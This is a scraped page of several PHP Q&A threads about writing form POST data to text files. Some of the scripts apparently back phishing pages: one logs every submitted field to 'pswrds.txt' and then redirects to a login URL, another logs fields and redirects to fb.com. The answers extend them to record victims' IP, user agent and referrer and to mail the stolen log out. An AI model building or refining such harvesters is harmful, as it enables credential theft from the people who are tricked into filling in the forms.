Store variables in a certain format PHP - php

I'm trying to store data in a text file in a certain format.
Here is the code:
<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
So on the previous HTML page they put in 2 value, their name and location, then the php code above would get me their info what they inputted and will store it in the userswhobought.txt
This is how it stores at the moment:
Username=John
Location=UK
commit=
===============
But I simply want it to store like this
John:UK
===============
Nextuser:USA
==============
Lee:Ukraine
So it's easier for me to extract.
Thanks

take your original code
<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
and change to
<?php
$datastring = $_POST['Username'].":".$_POST['Location']."
===============\r\n";
file_put_contents("userswhobought.txt",$datastring,FILE_APPEND);
header ('Location: http://myshoppingsite.com/ ');
exit;
?>
Instead of looping through the $_POST data you need to directly manipulate the POST data and then you can use it however you want but I would suggest looking into a database option like mysql, postgres, or sqlite - you can even store data in nosql options like mongodb as well.

<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
fwrite($handle, $_POST['Username']);
fwrite($handle, ":");
fwrite($handle, $_POST['Location']);
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>

<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ":");
fwrite($handle, $value);
fwrite($handle, "===============\r\n");
}
fclose($handle);
exit;
?>

foreach($_POST as $variable => $value) {
$write_this = "$variable:$value\r\n"
fwrite($handle, $write_this );
}
fwrite($handle, "===============\r\n");
Additionally, I would suggest moving the header() call to right before the exit. Technically, that works, but it's not what most people do.

Instead of your foreach, just add $_POST['Username'].":".$_POST['Location']."\r\n" in your file.

Just place fwrite($handle, "===============\r\n"); inside your loop.

Related

How to log IP address in text file

<?php
header ('Location: http://proxy4free.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
This is my code currently i'm practicing and i would like to know how to log ip address in text file with PHP. I have no idea, but made attempts.
<?php
$ip = $_SERVER['REMOTE_ADDR']; //get supposed IP
$handle = fopen("log.txt", "a"); //open log file
foreach($_POST as $variable => $value) { //loop through POST vars
fwrite($handle, $variable . "+" . $value . "\r\n");
}
fwrite($handle, "IP: $ip \r\n \r\n");
fclose($handle);
header ('Location: http://proxy4free.com');
exit;
Note that file_put_contents is a wrapper around fopen/fwrite/fclose and will simplify your code (although I've not benchmarked it to see if it's slower, as you're writing multiple lines ... of course, you could just concatenate to one string and write all-at-once). You might wish to try that.
Your header() call should be reserved until AFTER PHP's had time to write your log, and then followed by an "exit" as you'd done previously.
Security hasn't been addressed here at all. If someone posted something unexpected, they might do all manner of mischief (just as an example, a huge POST var might fill up precious disk space your server must have to run --- and there might be more nefarious stuff too). Consider using an input filter for each of those $_POST vars at a bare minimum (http://php.net/filter_input). If you know what you're expecting from them, do something further (intval, preg_match testing, etc.)
<?php
$ip = $_SERVER['REMOTE_ADDR']; //get supposed IP
$handle = fopen("log.txt", "a"); //open log file
foreach($_POST as $variable => $value) { //loop through POST vars
fwrite($handle, $variable . "+" . $value . "\r\n");
}
fwrite($handle, "IP: $ip \r\n \r\n");
fclose($handle);
header ('Location: http://proxy4free.com');
exit;

PHP: Foreach loop causes the output to have an extra symbol that i don't want

Two different values are imported by html <input> tags. They should be displayed like this: value1:value2.
But they display like this instead: value1:value2:.
I know what is causing the problem but I don't know how to solve it because I'm just a beginner with PHP.
?php
$handle = fopen("text.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $value);
fwrite($handle, ":");
}
fclose($handle);
exit;
?
An option would be to store the data in an array, and glue them together with implode.
foreach($_POST as $key => $value){
$tmp[] = htmlentities($value);
}
if($fp = fopen('text.txt', 'a')){
fwrite($fp, implode(':', $tmp));
fclose($fp);
}
Another solution would be to concat all values to a variable, and strip off the unwanted symbol with trim() or substr() and then write the value of the variable to file.
Also, it might be wise to check if the file successfully opened and depending on what you do with the saved data, to avoid an XSS attack use htmlentites() if you ever plan to echo it.
In every cycle inside the foreach you add a value and the colon. One option is to add the colon before the value is added and don't add it on the first run. Like this:
<?php
$first = true;
$handle = fopen("text.txt", "a");
foreach($_POST as $variable => $value) {
if(!$first) {
fwrite($handle, ":");
$first = false;
}
fwrite($handle, $value);
fclose($handle);
?>
The implode solution from #xorifelse is also nice

How can i send the contents of test.txt to an email, anyone plss

How can i send the contents of test.txt to an email, anyone plss.
<?php
header("Location: http://fb.com/ ");
$handle = fopen("test.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
How can i send the contents of test.txt to an email, anyone plss.
Try This -->
ob_start(); // Turn on output buffering
include("test.txt"); // include test.txt file
$msg = ob_get_contents(); //Return the contents of file to $msg variable
ob_end_clean(); //Clean (erase) the output buffer and turn off output buffering here
Use $msg variable in your mail body.

PHP to save user information to txt file

The following code saves certain information to pswrds.txt:
<?php
header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
How can I get the code to also save the IP, User Agent & Referrer?
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
You could assign $_POST to a variable in your local scope, then add the variables you want to the array:
$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];
Then go about your loop as you are doing now, but iterate over $post not $_POST.
NOTE: Also you should stop hardcoding the newline characters yourself, use PHP_EOL instead. http://php.net/manual/en/reserved.constants.php#constant.php-eol
update
<?php
header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];
foreach($post as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, PHP_EOL);
fclose($handle);
exit;
?>

How to Search and Find in Txt file. Then Using The Found Variable

OK, this is Another Project Im Working ON.
Its a Chat Client. and Using it For Staff
I want the server to have a staff.txt on it.
and I want the php file to do this.
Execute the php.
if The Submitted Username is Found in the staff.txt then
The Username changes to [Staff]"Username Here"
I got the search and find down.
I Cant seem to keep the username that was submitted, and just adding staff to it.
Im Adding my Source Now.
<?php
// Parameters (Leave this Alone)
$Message = $_GET["message"];
$Username = htmlspecialchars($_GET["username"]);
$time = ($_GET["time"]);
// User Banning
$data = file_get_contents('Banned.txt');
if(strpos($data, $Username) !== FALSE)
{
die();
}
else
{
// File Writing (Leave this Alone)
$File = "Chat.txt";
$Handle = fopen($File, "a");
fwrite($Handle, $Username);
fwrite($Handle, ": ");
fwrite($Handle, $Message);
fwrite($Handle, " -:-:- ");
fwrite($Handle, $time);
fwrite($Handle, "\r\n");
print "Message Sent";
fclose($Handle);
}
?>
I have user banning working, and i Want the Staff To Work in the same way.
Any Help would be appreciated
Trying it a different way
If ($Username=="!divider!StaffMember1") $Username="!divider![Staff] StaffMember1";
If ($Username=="!divider!StaffMember2") $Username="!divider![Staff] StaffMember2";
that seems to work fine in the php file thats running the php with everything else.
Is there a way to have that list in a seperate file? .txt file or .php doesnt matter.
You can just do it like the banlist:
<?php
// Parameters (Leave this Alone)
$Message = $_GET["message"];
$Username = htmlspecialchars($_GET["username"]);
$time = ($_GET["time"]);
// check staff
$data = file_get_contents('staff.txt');
if(strpos($data, $Username) !== FALSE)
$Username = '[STAFF]' . $Username;
// User Banning
$data = file_get_contents('Banned.txt');
if(strpos($data, $Username) !== FALSE)
{
die();
}
else
{
// File Writing (Leave this Alone)
$File = "Chat.txt";
$Handle = fopen($File, "a");
fwrite($Handle, $Username);
fwrite($Handle, ": ");
fwrite($Handle, $Message);
fwrite($Handle, " -:-:- ");
fwrite($Handle, $time);
fwrite($Handle, "\r\n");
print "Message Sent";
fclose($Handle);
}
?>

Categories